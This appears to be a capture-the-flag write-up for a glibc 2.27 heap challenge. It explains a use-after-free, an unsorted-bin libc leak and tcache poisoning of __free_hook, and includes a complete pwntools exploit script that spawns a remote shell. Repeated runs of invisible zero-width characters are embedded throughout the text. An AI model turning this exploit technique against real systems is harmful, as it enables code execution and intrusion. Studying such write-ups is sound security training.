← Back to Writeups
CUSTOMMediumpwn

Museum of Ancient Artifacts

XESXOR9/2/20265 min read
#pwn#custom#medium#__free_hook_overwrite#uaf_tcache_poisoning#unsorted_bin_libc_leak#linux

Museum of Ancient Artifacts

Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-21 | Status: Solved Techniques: __free_hook_overwrite, uaf_tcache_poisoning, unsorted_bin_libc_leak

Summary

Task: a non-PIE heap menu binary on glibc 2.27 lets us free descriptions without clearing pointers, edit freed chunks, and read raw bytes from stale heap pointers. Solution: leak libc from an unsorted-bin chunk, poison the 0x100 tcache list to land on __free_hook, write system, then free /bin/sh.

Museum of Ancient Artifacts — DUCKERZ CTF

Description

Музей древних артефактов

English summary: the service manages exhibits containing a name pointer, a description pointer, and a year field. The goal was to abuse the heap-management bugs in the description lifecycle, gain code execution on the remote host, and read the flag.

Files:

text
museum
libc-2.27.so

Service:

text
nc tasks.duckerz.ru 30041

Analysis

Binary Protections

text
RELRO:    Partial RELRO
Stack:    No canary
NX:       NX enabled
PIE:      No PIE
Stripped: No

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Data Structure

Each exhibit stores three fields:

c
struct exhibit {
    char *name;         // 0x00
    char *description;  // 0x08
    long year;          // 0x10
};

The menu actions were:

  1. add_exhibit
  2. view_exhibit
  3. edit_exhibit_description
  4. remove_exhibit
  5. discard_description
  6. inspect_exhibit_raw
  7. exit

Vulnerabilities

1. discard_description() creates a stale pointer

The function frees the description buffer but does not clear exhibit->description. That gives two important primitives: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • use-after-free read/write through later actions that still trust the pointer
  • repeat free / double-free style behavior on the same logical description slot

2. edit_exhibit_description() always writes 0xff bytes

The edit path does not respect the original allocation size. Even if the chunk was smaller, or even already freed, the function still performs a read(..., 0xff). That means:

  • heap overflow for live chunks
  • direct metadata overwrite for freed chunks in tcache

For this challenge, the most useful case is editing a freed 0x100 chunk to corrupt its tcache forward pointer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. inspect_exhibit_raw() leaks 8 bytes from the stale pointer

This option prints 8 raw bytes from the description pointer. When the pointed chunk is freed into the unsorted bin, the first qword becomes the unsorted-bin fd pointer. In glibc 2.27 that pointer targets main_arena + 96, which gives a reliable libc leak.

Solution

Exploitation Strategy

We choose description size 0xf0, which becomes a 0x100 heap chunk after allocator metadata. This size is large enough for tcache and convenient for both filling the bin and poisoning it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The full plan is:

  1. Create 9 exhibits with description size 0xf0.
  2. Free descriptions of exhibits 0..6 with discard_description() to fill tcache for 0x100 chunks.
  3. Free exhibit 7's description. Because the tcache bin is already full, this chunk goes to the unsorted bin.
  4. Use inspect_exhibit_raw(7) to read the unsorted-bin fd pointer and compute the libc base from main_arena + 96.
  5. Use edit_exhibit_description(6, ...) on a freed tcache chunk and overwrite its fd pointer with __free_hook.
  6. Allocate two new 0xf0 descriptions. The first pops the poisoned chunk, and the second returns a chunk overlapping __free_hook.
  7. Write the address of system into __free_hook.
  8. Create one more exhibit whose description is /bin/sh\x00.
  9. Call discard_description() on that exhibit. Internally this becomes free("/bin/sh"), but __free_hook redirects it to system("/bin/sh").
  10. Interact with the shell and read the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why This Works

  • glibc 2.27 has tcache but no safe-linking, so the poisoned fd is a plain pointer.
  • __free_hook still exists in glibc 2.27 and is writable.
  • The stale description pointer survives after free, so we can both leak and overwrite freed chunks through normal menu actions.

Exploit Script

python
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF("./museum", checksec=False)
libc = ELF("./libc-2.27.so", checksec=False)
context.arch = "amd64"

HOST = "tasks.duckerz.ru"
PORT = 30041
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process([elf.path])


def menu(io, choice):
    io.sendlineafter(b"> ", str(choice).encode())


def add_exhibit(io, name, desc_size, desc, year=1337):
    menu(io, 1)
    io.sendlineafter(b"name", name)
    io.sendlineafter(b"size", str(desc_size).encode())
    io.sendafter(b"description", desc)
    io.sendlineafter(b"year", str(year).encode())


def view_exhibit(io, idx):
    menu(io, 2)
    io.sendlineafter(b"index", str(idx).encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def edit_description(io, idx, data):
    menu(io, 3)
    io.sendlineafter(b"index", str(idx).encode())
    io.sendafter(b"description", data)


def remove_exhibit(io, idx):
    menu(io, 4)
    io.sendlineafter(b"index", str(idx).encode())


def discard_description(io, idx):
    menu(io, 5)
    io.sendlineafter(b"index", str(idx).encode())


def inspect_raw(io, idx):
    menu(io, 6)
    io.sendlineafter(b"index", str(idx).encode())
    io.recvuntil(b"Raw: ")
    return io.recvn(8)


def main():
    io = start()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Phase 1: prepare 9 chunks of size 0x100 (request 0xf0)
    for i in range(9):
        add_exhibit(io, f"ex{i}".encode(), 0xF0, b"A" * 8, 1900 + i)

    # Fill tcache[0x100]
    for i in range(7):
        discard_description(io, i)

    # One more free goes to unsorted bin because tcache bin is full
    discard_description(io, 7)

    leak = u64(inspect_raw(io, 7))
    libc.address = leak - (libc.symbols["main_arena"] + 96)
    log.success(f"unsorted leak = {hex(leak)}")
    log.success(f"libc base     = {hex(libc.address)}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    free_hook = libc.symbols["__free_hook"]
    system = libc.symbols["system"]

    log.info(f"__free_hook = {hex(free_hook)}")
    log.info(f"system      = {hex(system)}")

    # Phase 2: poison a freed tcache chunk through UAF edit
    # Chunk 6 is freed and lives in tcache[0x100]. Overwrite its fd.
    edit_description(io, 6, p64(free_hook))

    # First allocation returns chunk 6 itself, second returns __free_hook
    add_exhibit(io, b"pad", 0xF0, b"B" * 8, 2000)
    add_exhibit(io, b"hook", 0xF0, p64(system), 2001)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Phase 3: trigger system("/bin/sh") through __free_hook
    add_exhibit(io, b"sh", 0xF0, b"/bin/sh\x00", 2002)
    discard_description(io, 11)

    io.interactive()


if __name__ == "__main__":
    main()

Key Heap State

After freeing descriptions 0..6, the 0x100 tcache bin is full.

When we free description 7, it cannot enter tcache anymore, so it lands in the unsorted bin and its user data starts with libc pointers:

text
chunk7->fd = main_arena + 96
chunk7->bk = main_arena + 96

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

That leak gives:

text
libc_base = leak - (main_arena + 96)

Then we corrupt the fd pointer of a freed tcache chunk:

text
tcache[0x100]: chunk6 -> ...
                 |
                 +-- overwrite fd with __free_hook

Two same-size allocations later, malloc returns a pointer at __free_hook, and we replace it with system. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍